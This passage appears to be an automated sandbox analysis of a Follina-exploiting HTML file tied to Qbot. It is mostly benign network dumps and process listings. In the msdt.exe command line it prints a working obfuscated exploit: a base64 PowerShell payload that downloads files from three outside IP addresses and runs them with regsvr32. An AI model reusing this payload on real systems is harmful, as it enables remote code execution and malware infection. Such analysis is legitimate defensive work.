ft.YourPhone_1.22042.168.70_neutral_~_8wekyb3d8bbwe","Pac

2022-06-08 07:56:59 UTC 9381 IN Data Raw: 75 6e 5c 22 3a 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 31 2e 32 32 30 34 32 2e 31 
36 38 2e 30 5f 78 36 34 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 74 64 66 73 5c 22 3a 5b 7b 5c 22 6e 
61 6d 65 5c 22 3a 5c 22 57 69 6e 64 6f 77 73 2e 55 6e 69 76 65 72 73 61 6c 5c 22 2c 5c 22 76 6d 61 78 5c 22 3a 32 38 
31 34 37 35 31 31 36 33 30 38 38 38 39 36 2c 5c 22 76 6d 69 6e 5c 22 3a 32 38 31 34 37 35 30 39 37 30 34 37 38 35 39 
32 7d 5d 7d 2c 7b 5c 22 70 66 75 6e 5c 22 3a 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 30 2e 32 
32 30 34 32 2e 31 36 38 2e 30 5f 78 36 34 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 73 74 75 62 5c 22 
3a 74 72 75 65 2c 5c 22 74 64 66 73 5c 22 3a 5b 7b 5c 22 6e 61 
Data Ascii: un\":\"Microsoft.YourPhone_1.22042.168.0_x64__8wekyb3d8bbwe\",\"tdfs\":[{\"name\":\"Windows.Univer
sal\",\"vmax\":2814751163088896,\"vmin\":2814750970478592}]},{\"pfun\":\"Microsoft.YourPhone_0.22042.168.0_x64
__8wekyb3d8bbwe\",\"stub\":true,\"tdfs\":[{\"na

2022-06-08 07:56:59 UTC 9385 IN Data Raw: 65 64 50 6c 61 74 66 6f 72 6d 73 22 3a 5b 7b 22 4d 61 78 56 65 72 73 69 6f 6e 22 3a 32 31 34 37 34 38 33 36 
34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 
73 2e 4d 6f 62 69 6c 65 22 7d 2c 7b 22 4d 61 78 56 65 72 73 69 6f 6e 22 3a 32 31 34 37 34 38 33 36 34 37 2c 22 4d 69 
6e 56 65 72 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 54 65 61 6d 
22 7d 2c 7b 22 4d 61 78 56 65 72 73 69 6f 6e 22 3a 32 31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 
22 3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 58 62 6f 78 22 7d 2c 7b 22 4d 61 78 
56 65 72 73 69 6f 6e 22 3a 32 31 34 37 34 38 33 36 34 37 2c 22 
Data Ascii: edPlatforms":[{"MaxVersion":2147483647,"MinVersion":0,"PlatformName":"Windows.Mobile"},{"MaxVersio
n":2147483647,"MinVersion":0,"PlatformName":"Windows.Team"},{"MaxVersion":2147483647,"MinVersion":0,"PlatformN
ame":"Windows.Xbox"},{"MaxVersion":2147483647,"

2022-06-08 07:56:59 UTC 9389 IN Data Raw: 70 64 61 74 65 22 2c 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 50 6c 75 67 69 6e 49 64 22 3a 6e 75 6c 6c 2c 22 
50 61 63 6b 61 67 65 73 22 3a 5b 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 73 22 3a 5b 7b 22 41 70 70 6c 69 63 61 74 69 
6f 6e 49 64 22 3a 22 41 70 70 22 7d 5d 2c 22 41 72 63 68 69 74 65 63 74 75 72 65 73 22 3a 5b 22 78 38 36 22 2c 22 61 
72 6d 36 34 22 2c 22 61 72 6d 22 2c 22 78 36 34 22 5d 2c 22 43 61 70 61 62 69 6c 69 74 69 65 73 22 3a 5b 22 69 6e 74 
65 72 6e 65 74 43 6c 69 65 6e 74 22 2c 22 70 72 69 76 61 74 65 4e 65 74 77 6f 72 6b 43 6c 69 65 6e 74 53 65 72 76 65 
72 22 2c 22 72 65 6d 6f 74 65 53 79 73 74 65 6d 22 2c 22 70 68 6f 6e 65 43 61 6c 6c 22 2c 22 63 6f 6e 66 69 72 6d 41 70 
70 43 6c 6f 73 65 22 2c 22 70 68 6f 6e 65 4c 69 6e 65 54 72 61 6e 73 70 
Data Ascii: pdate","FulfillmentPluginId":null,"Packages":[{"Applications":[{"ApplicationId":"App"}],"Architectures":["x8
6","arm64","arm","x64"],"Capabilities":["internetClient","privateNetworkClientServer","remoteSystem","phoneCall","confir
mAppClose","phoneLineTransp

2022-06-08 07:56:59 UTC 9393 IN Data Raw: 73 74 65 6d 49 64 5c 22 3a 31 36 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 38 2c 5c 22 73 79 73 74 65 6d 49 
64 5c 22 3a 31 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 35 34 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 33 7d 5d 
7d 7d 22 2c 22 50 61 63 6b 61 67 65 44 6f 77 6e 6c 6f 61 64 55 72 69 73 22 3a 6e 75 6c 6c 2c 22 46 75 6c 66 69 6c 6c 6d 
65 6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 4e 4d 50 4a 39 39 56 4a 42 57 56 22 2c 22 57 
75 42 75 6e 64 6c 65 49 64 22 3a 22 64 34 31 30 61 63 62 38 2d 37 33 36 34 2d 34 62 63 65 2d 61 65 61 63 2d 63 62 39 
63 30 65 38 65 31 66 66 33 22 2c 22 57 75 43 61 74 65 67 6f 72 79 49 64 22 3a 22 62 39 39 61 65 66 39 61 2d 31 36 38 
35 2d 34 37 39 38 2d 62 34 62 31 2d 33 64 39 34 65 65 36 64 37 31 38 
Data Ascii: stemId\":16},{\"level\":68,\"systemId\":15},{\"level\":54,\"systemId\":13}]}}","PackageDownloadUris":null,"F
ulfillmentData":{"ProductId":"9NMPJ99VJBWV","WuBundleId":"d410acb8-7364-4bce-aeac-cb9c0e8e1ff3","WuCategoryId"
:"b99aef9a-1685-4798-b4b1-3d94ee6d718

2022-06-08 07:56:59 UTC 9397 IN Data Raw: 61 70 70 5c 22 2c 5c 22 63 61 74 65 67 6f 72 79 2e 73 65 63 6f 6e 64 5c 22 3a 5c 22 50 72 6f 64 75 63 74 69 
76 69 74 79 5c 22 2c 5c 22 6f 70 74 4f 75 74 2e 62 61 63 6b 75 70 52 65 73 74 6f 72 65 5c 22 3a 74 72 75 65 2c 5c 22 6f 
70 74 4f 75 74 2e 72 65 6d 6f 76 65 61 62 6c 65 4d 65 64 69 61 5c 22 3a 74 72 75 65 7d 2c 5c 22 70 6f 6c 69 63 79 32 5c 
22 3a 7b 5c 22 61 67 65 52 61 74 69 6e 67 5c 22 3a 31 2c 5c 22 6f 70 74 4f 75 74 2e 44 56 52 5c 22 3a 74 72 75 65 2c 5c 
22 74 68 69 72 64 50 61 72 74 79 41 70 70 52 61 74 69 6e 67 73 5c 22 3a 5b 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 2c 5c 
22 73 79 73 74 65 6d 49 64 5c 22 3a 33 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 31 32 2c 5c 22 73 79 73 74 65 6d 49 64 
5c 22 3a 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 34 38 2c 5c 
Data Ascii: app\",\"category.second\":\"Productivity\",\"optOut.backupRestore\":true,\"optOut.removeableMedia\":true},\"
policy2\":{\"ageRating\":1,\"optOut.DVR\":true,\"thirdPartyAppRatings\":[{\"level\":7,\"systemId\":3},{\"level\":12,\"sy
stemId\":5},{\"level\":48,\

2022-06-08 07:56:59 UTC 9402 IN Data Raw: 22 3a 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 32 30 32 30 2e 39 32 33 2e 34 35 2e 
30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 72 
6f 64 75 63 74 49 64 5c 22 3a 5c 22 64 30 39 33 32 63 37 33 2d 65 37 33 30 2d 34 36 38 30 2d 62 63 34 34 2d 61 35 39 
30 38 66 65 63 62 66 38 62 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 61 72 67 65 74 50 6c 61 74 66 6f 72 6d 73 5c 22 
3a 5b 7b 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 61 78 56 65 72 73 69 6f 6e 54 65 73 74 65 64 5c 22 3a 32 38 31 34 37 35 3
1 30 31 34 39 37 37 35 33 36 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 69 6e 56 65 72 73 69 6f 6e 5c 22 3a 32 38 31 34 37 
35 30 38 39 30 30 30 30 33 38 34 2c 5c 22 70 6c 61 74 66 6f 72 6d 
Data Ascii: ":\"Microsoft.YourPhone_2020.923.45.0_neutral_~_8wekyb3d8bbwe\",\"content.productId\":\"d0932c73-e730-
4680-bc44-a5908fecbf8b\",\"content.targetPlatforms\":[{\"platform.maxVersionTested\":2814751014977536,\"platform.min
Version\":2814750890000384,\"platform
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2022-06-08 07:56:59 UTC 9406 IN Data Raw: 6f 6e 74 65 6e 74 2e 62 75 6e 64 6c 65 64 50 61 63 6b 61 67 65 73 5c 22 3a 5b 5c 22 4d 69 63 72 6f 73 6f 66 
74 2e 59 6f 75 72 50 68 6f 6e 65 5f 31 2e 32 31 30 36 32 2e 31 35 32 2e 30 5f 78 38 36 5f 5f 38 77 65 6b 79 62 33 64 38 
62 62 77 65 5c 22 2c 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 31 2e 32 31 30 36 32 2e 31 35 32 
2e 30 5f 78 36 34 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e 69 73 4d 61 69 
6e 5c 22 3a 66 61 6c 73 65 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 61 63 6b 61 67 65 49 64 5c 22 3a 5c 22 4d 69 63 72 6f 73 
6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 32 30 32 31 2e 38 30 39 2e 32 31 33 39 2e 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 
38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 63 
Data Ascii: ontent.bundledPackages\":[\"Microsoft.YourPhone_1.21062.152.0_x86__8wekyb3d8bbwe\",\"Microsoft.You
rPhone_1.21062.152.0_x64__8wekyb3d8bbwe\"],\"content.isMain\":false,\"content.packageId\":\"Microsoft.YourPhon
e_2021.809.2139.0_neutral_~_8wekyb3d8bbwe\",\"c

2022-06-08 07:56:59 UTC 9410 IN Data Raw: 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 31 22 2c 22 43 6f 6e 74 65 6e 74 
22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 65 61 74 75 72 65 73 22 3a 6e 75 6c 6c 7d 7d 2c 7b 22 41 70 70 6c 69 
63 61 74 69 6f 6e 73 22 3a 5b 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 49 64 22 3a 22 41 70 70 22 7d 5d 2c 22 41 72 63 
68 69 74 65 63 74 75 72 65 73 22 3a 5b 22 78 36 34 22 2c 22 78 36 34 22 2c 22 78 38 36 22 2c 22 78 38 36 22 5d 2c 22 
43 61 70 61 62 69 6c 69 74 69 65 73 22 3a 5b 22 69 6e 74 65 72 6e 65 74 43 6c 69 65 6e 74 22 2c 22 70 72 69 76 61 74 
65 4e 65 74 77 6f 72 6b 43 6c 69 65 6e 74 53 65 72 76 65 72 22 2c 22 72 65 6d 6f 74 65 53 79 73 74 65 6d 22 2c 22 70 
68 6f 6e 65 43 61 6c 6c 22 2c 22 63 6f 6e 66 69 72 6d 41 70 70 43 6c 6f 
Data Ascii: ekyb3d8bbwe","SkuId":"0011","Content":null,"PackageFeatures":null}},{"Applications":[{"ApplicationId":"App"}
],"Architectures":["x64","x64","x86","x86"],"Capabilities":["internetClient","privateNetworkClientServer","remoteSystem"
,"phoneCall","confirmAppClo

2022-06-08 07:56:59 UTC 9414 IN Data Raw: 6f 75 72 50 68 6f 6e 65 5f 30 2e 32 32 30 33 32 2e 31 37 39 2e 30 5f 78 36 34 5f 5f 38 77 65 6b 79 62 33 64 38 
62 62 77 65 5c 22 2c 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 31 2e 32 32 30 33 32 2e 31 37 39 
2e 30 5f 78 38 36 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 
50 68 6f 6e 65 5f 30 2e 32 32 30 33 32 2e 31 37 39 2e 30 5f 78 38 36 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 
5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e 69 73 4d 61 69 6e 5c 22 3a 66 61 6c 73 65 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 61 
63 6b 61 67 65 49 64 5c 22 3a 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 31 2e 32 32 30 33 32 2e 
31 37 39 2e 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 38 77 65 
Data Ascii: ourPhone_0.22032.179.0_x64__8wekyb3d8bbwe\",\"Microsoft.YourPhone_1.22032.179.0_x86__8we
kyb3d8bbwe\",\"Microsoft.YourPhone_0.22032.179.0_x86__8wekyb3d8bbwe\"],\"content.isMain\":false,\"content.pack
ageId\":\"Microsoft.YourPhone_1.22032.179.0_neutral_~_8we

2022-06-08 07:56:59 UTC 9418 IN Data Raw: 6c 5c 22 2c 5c 22 76 6d 61 78 5c 22 3a 32 38 31 34 37 35 31 30 31 33 30 31 31 34 35 36 2c 5c 22 76 6d 69 
6e 5c 22 3a 32 38 31 34 37 35 31 30 31 33 30 31 31 34 35 36 7d 5d 7d 5d 2c 5c 22 70 6f 6c 69 63 79 5c 22 3a 7b 5c 22 
63 61 74 65 67 6f 72 79 2e 66 69 72 73 74 5c 22 3a 5c 22 61 70 70 5c 22 2c 5c 22 63 61 74 65 67 6f 72 79 2e 73 65 63 6f 
6e 64 5c 22 3a 5c 22 50 72 6f 64 75 63 74 69 76 69 74 79 5c 22 2c 5c 22 6f 70 74 4f 75 74 2e 62 61 63 6b 75 70 52 65 73 
74 6f 72 65 5c 22 3a 74 72 75 65 2c 5c 22 6f 70 74 4f 75 74 2e 72 65 6d 6f 76 65 61 62 6c 65 4d 65 64 69 61 5c 22 3a 74 
72 75 65 7d 2c 5c 22 70 6f 6c 69 63 79 32 5c 22 3a 7b 5c 22 61 67 65 52 61 74 69 6e 67 5c 22 3a 31 2c 5c 22 6f 70 74 4f 
75 74 2e 44 56 52 5c 22 3a 74 72 75 65 2c 5c 22 74 68 69 72 64 
Data Ascii: l\",\"vmax\":2814751013011456,\"vmin\":2814751013011456}]}],\"policy\":{\"category.first\":\"app\",\"categor
y.second\":\"Productivity\",\"optOut.backupRestore\":true,\"optOut.removeableMedia\":true},\"policy2\":{\"ageRating\":1,
\"optOut.DVR\":true,\"third

2022-06-08 07:56:59 UTC 9422 IN Data Raw: 63 72 6f 73 6f 66 74 2e 73 74 6f 72 65 46 69 6c 74 65 72 2e 63 6f 72 65 2e 6e 6f 74 53 75 70 70 6f 72 74 65 64 
5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 5d 2c 22 45 78 70 65 72 69 65 6e 63 65 49 64 73 22 3a 5b 5d 2c 22 4d 61 
78 44 6f 77 6e 6c 6f 61 64 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 36 31 38 37 38 34 37 36 31 2c 22 4d 61 78 49 6e 73 
74 61 6c 6c 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 33 31 36 39 37 37 31 35 32 2c 22 50 61 63 6b 61 67 65 46 6f 72 6d 
61 74 22 3a 22 45 41 70 70 78 42 75 6e 64 6c 65 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 
4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 4d 61 69 6e 
50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 46 6f 72 44 6c 
Data Ascii: crosoft.storeFilter.core.notSupported_8wekyb3d8bbwe"],"ExperienceIds":[],"MaxDownloadSizeInBytes":
618784761,"MaxInstallSizeInBytes":316977152,"PackageFormat":"EAppxBundle","PackageFamilyName":"Micro
soft.YourPhone_8wekyb3d8bbwe","MainPackageFamilyNameForDl

2022-06-08 07:56:59 UTC 9426 IN Data Raw: 72 6d 2e 6d 69 6e 56 65 72 73 69 6f 6e 5c 22 3a 32 38 31 34 37 35 30 39 37 30 34 37 38 35 39 32 2c 5c 22 70 
6c 61 74 66 6f 72 6d 2e 74 61 72 67 65 74 5c 22 3a 30 7d 5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 79 70 65 5c 22 3a 37 
2c 5c 22 70 6b 67 73 5c 22 3a 5b 7b 5c 22 70 66 75 6e 5c 22 3a 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 
6e 65 5f 31 2e 32 32 30 34 32 2e 31 36 37 2e 30 5f 78 36 34 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 
74 64 66 73 5c 22 3a 5b 7b 5c 22 6e 61 6d 65 5c 22 3a 5c 22 57 69 6e 64 6f 77 73 2e 55 6e 69 76 65 72 73 61 6c 5c 22 
2c 5c 22 76 6d 61 78 5c 22 3a 32 38 31 34 37 35 31 31 36 33 30 38 38 38 39 36 2c 5c 22 76 6d 69 6e 5c 22 3a 32 38 31 
34 37 35 30 39 37 30 34 37 38 35 39 32 7d 5d 7d 2c 7b 5c 22 70 66 
Data Ascii: rm.minVersion\":2814750970478592,\"platform.target\":0}],\"content.type\":7,\"pkgs\":[{\"pfun\":\"Microsoft.
YourPhone_1.22042.167.0_x64__8wekyb3d8bbwe\",\"tdfs\":[{\"name\":\"Windows.Universal\",\"vmax\":28147511630888
96,\"vmin\":2814750970478592}]},{\"pf

2022-06-08 07:56:59 UTC 9430 IN Data Raw: 49 64 5c 22 3a 31 36 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 
31 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 35 34 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 33 7d 5d 7d 7d 22 2c 
22 50 61 63 6b 61 67 65 44 6f 77 6e 6c 6f 61 64 55 72 69 73 22 3a 6e 75 6c 6c 2c 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 
61 74 61 22 3a 7b 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 4e 4d 50 4a 39 39 56 4a 42 57 56 22 2c 22 57 75 42 75 6e 
64 6c 65 49 64 22 3a 22 64 34 31 30 61 63 62 38 2d 37 33 36 34 2d 34 62 63 65 2d 61 65 61 63 2d 63 62 39 63 30 65 38 
65 31 66 66 33 22 2c 22 57 75 43 61 74 65 67 6f 72 79 49 64 22 3a 22 62 39 39 61 65 66 39 61 2d 31 36 38 35 2d 34 37 
39 38 2d 62 34 62 31 2d 33 64 39 34 65 65 36 64 37 31 38 34 22 2c 22 
Data Ascii: Id\":16},{\"level\":68,\"systemId\":15},{\"level\":54,\"systemId\":13}]}}","PackageDownloadUris":null,"Fulfi
llmentData":{"ProductId":"9NMPJ99VJBWV","WuBundleId":"d410acb8-7364-4bce-aeac-cb9c0e8e1ff3","WuCateg
oryId":"b99aef9a-1685-4798-b4b1-3d94ee6d7184","

2022-06-08 07:56:59 UTC 9434 IN Data Raw: 65 52 61 6e 6b 22 3a 33 30 31 36 32 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 69 65 73 22 3a 
5b 7b 22 4d 61 78 54 65 73 74 65 64 22 3a 32 38 31 34 37 35 31 31 36 33 30 38 38 38 39 36 2c 22 4d 69 6e 56 65 72 73 
69 6f 6e 22 3a 32 38 31 34 37 35 30 39 37 30 34 37 38 35 39 32 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 
69 6e 64 6f 77 73 2e 55 6e 69 76 65 72 73 61 6c 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 79 5
8 6d 6c 42 6c 6f 62 22 3a 22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 6f 6e 5c 22 3a 31 36 38 38 38 36 37 30 34 30 35 32 3
6 33 33 36 2c 5c 22 63 6f 6e 74 65 6e 74 2e 62 75 6e 64 6c 65 64 50 61 63 6b 61 67 65 73 5c 22 3a 5b 5c 22 4d 69 63 72 
6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 31 2e 32 32 30 34 
Data Ascii: eRank":30162,"PlatformDependencies":[{"MaxTested":2814751163088896,"MinVersion":2814750970478592,"
PlatformName":"Windows.Universal"}],"PlatformDependencyXmlBlob":"{\"blob.version\":1688867040526336,\"content.
bundledPackages\":[\"Microsoft.YourPhone_1.2204

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:56:59 UTC 9438 IN Data Raw: 3a 7b 7d 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 31 22 2c 22 44 69 73 70 6c 61 79 52 61 6e 6b 22 3a 31 2c 
22 52 65 6d 65 64 69 61 74 69 6f 6e 52 65 71 75 69 72 65 64 22 3a 66 61 6c 73 65 7d 5d 7d 5d 7d 5d 2c 22 54 6f 74 61 
6c 52 65 73 75 6c 74 43 6f 75 6e 74 22 3a 31 7d 0d 0a 
Data Ascii: :{},"SkuId":"0011","DisplayRank":1,"RemediationRequired":false}]}]}],"TotalResultCount":1}

2022-06-08 07:56:59 UTC 9438 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

98 192.168.2.3 49826 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:56:59 UTC 9316 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=d0ba81e65d964d98ac625f8466261144&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9P6RC76MSMMJ&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=57d951360cdd4c8fac5a233947b0e595&time=20220608T165615Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-06-08 07:56:59 UTC 9353 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 9312c681-b7fa-4861-baac-2a9360a3bdb8
Date: Wed, 08 Jun 2022 07:56:59 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

99 192.168.2.3 49827 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:56:59 UTC 9401 OUT GET /v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKT
OP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400089837&UIT=P-&TargetID=700
129702&AN=679670357&PG=PC000P0FR5.0000000IRT&REQASID=8269C44C06284E1CA50E8D554A67885C&UNID
=338388&ASID=b294f7550fc04b4bb1601ebac6b0c790&PERSID=DBDE13DC697F71846A990CDFDC016FBD&GLOB
ALDEVICEID=6755432004667435&LOCALID=w:472DC600-FEAB-E7F8-720D-1E33F00FD1E7&DS_EVTID=e4c7f4
e268ec427292df4f5be8ee76cd&DEVOSVER=10.0.17134.1&REQT=20220608T075602&TIME=20220608T165640
Z&ARCRAS=&CLR=CDM HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-06-08 07:56:59 UTC 9438 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 3e7513bf-14bf-43b1-aaad-7934526e40b3
Date: Wed, 08 Jun 2022 07:56:59 GMT
Connection: close

• chrome.exe

• chrome.exe

Statistics

Behavior
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• msdt.exe

Click to jump to process

Target ID: 0

Start time: 09:53:55

Start date: 08/06/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --enable-automation  "C:\Users\user\Desktop\Qbotfollina.html

Imagebase: 0x7ff7f6290000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: high

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Completion Count Source Address Symbol

Old File Path New File Path Completion Count Source Address Symbol

File Path Offset Length Value Ascii Completion Count Source Address Symbol

Key Path Completion Count Source Address Symbol

Key Path Name Type Data Completion Count Source Address Symbol

System Behavior

Analysis Process: chrome.exe PID: 3960, Parent PID: 5368

General

File Activities

Registry Activities

Key Value Modified
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Key Path Name Type Old Data New Data Completion Count
Source
Address

Symbol

HKEY_CURRENT_US
ER\Software\Goo
gle\Update\ClientState
\{8A69D345-D564-
463c-AFF1-
A69D9E530F96}

dr unicode 0 1 success or wait 1 7FF7F62CFC4B RegSetValueEx
W

Target ID: 1

Start time: 09:53:57

Start date: 08/06/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1504,91649
53901427167469,2460945290142951251,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-
handle=1908 /prefetch:8

Imagebase: 0x7ff7f6290000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: high

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Completion Count Source Address Symbol

Old File Path New File Path Completion Count Source Address Symbol

File Path Offset Length Value Ascii Completion Count Source Address Symbol

Target ID: 10

Start time: 09:55:10

Start date: 08/06/2022

Path: C:\Windows\System32\msdt.exe

Wow64 process (32bit): false

Commandline: "C:\Windows\system32\msdt.exe" ms-msdt:/id%20PCWDiagnostic%20/skip%20force%20/param%20%22IT_RebrowseForFile=?%20IT_LaunchMethod=Co
ntextMenu%20IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+
[char]58+[char]58+'FromBase64String('+[char]34+'JABwACAAPQAgACQARQBuAHYAOgB0AGUAbQBwADsAaQB3AHIAIABoAHQAdABwADoALwAvADEAM
AA0AC4AMwA2AC4AMgAyADkALgAxADMAOQAvACQAKAByAGEAbgBkAG8AbQApAC4AZABhAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAHAAXAB0AC4
AQQA7AGkAdwByACAAaAB0AHQAcAA6AC8ALwA4ADUALgAyADMAOQAuADUANQAuADIAMgA4AC8AJAAoAHIAYQBuAGQAbwBtACkALgBkAGEAdAAgA
C0ATwB1AHQARgBpAGwAZQAgACQAcABcAHQAMQAuAEEAOwBpAHcAcgAgAGgAdAB0AHAAOgAvAC8AMQA4ADUALgAyADMANAAuADIAN
AA3AC4AMQAxADkALwAkACgAcgBhAG4AZABvAG0AKQAuAGQAYQB0ACAALQBPAHUAdABGAGkAbABlACAAJABwAFwAdAAyAC4AQQA7A
HIAZQBnAHMAdgByADMAMgAgACQAcABcAHQALgBBADsAcgBlAGcAcwB2AHIAMwAyACAAJABwAFwAdAAxAC4AQQA7AHIAZQBnAHMAdgByADMAMgA
gACQAcABcAHQAMgAuAEEA'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe%22

Imagebase: 0x7ff613710000

File size: 1560576 bytes

MD5 hash: 8BE43BAF1F37DA5AB31A53CA1C07EE0C

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Analysis Process: chrome.exe PID: 6188, Parent PID: 3960

General

File Activities

Analysis Process: msdt.exe PID: 408, Parent PID: 3960

General
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Yara matches: Rule: SUSP_PS1_Msdt_Execution_May22, Description: Detects suspicious calls of msdt.exe as seen in CVE-2022-30190, Source: 
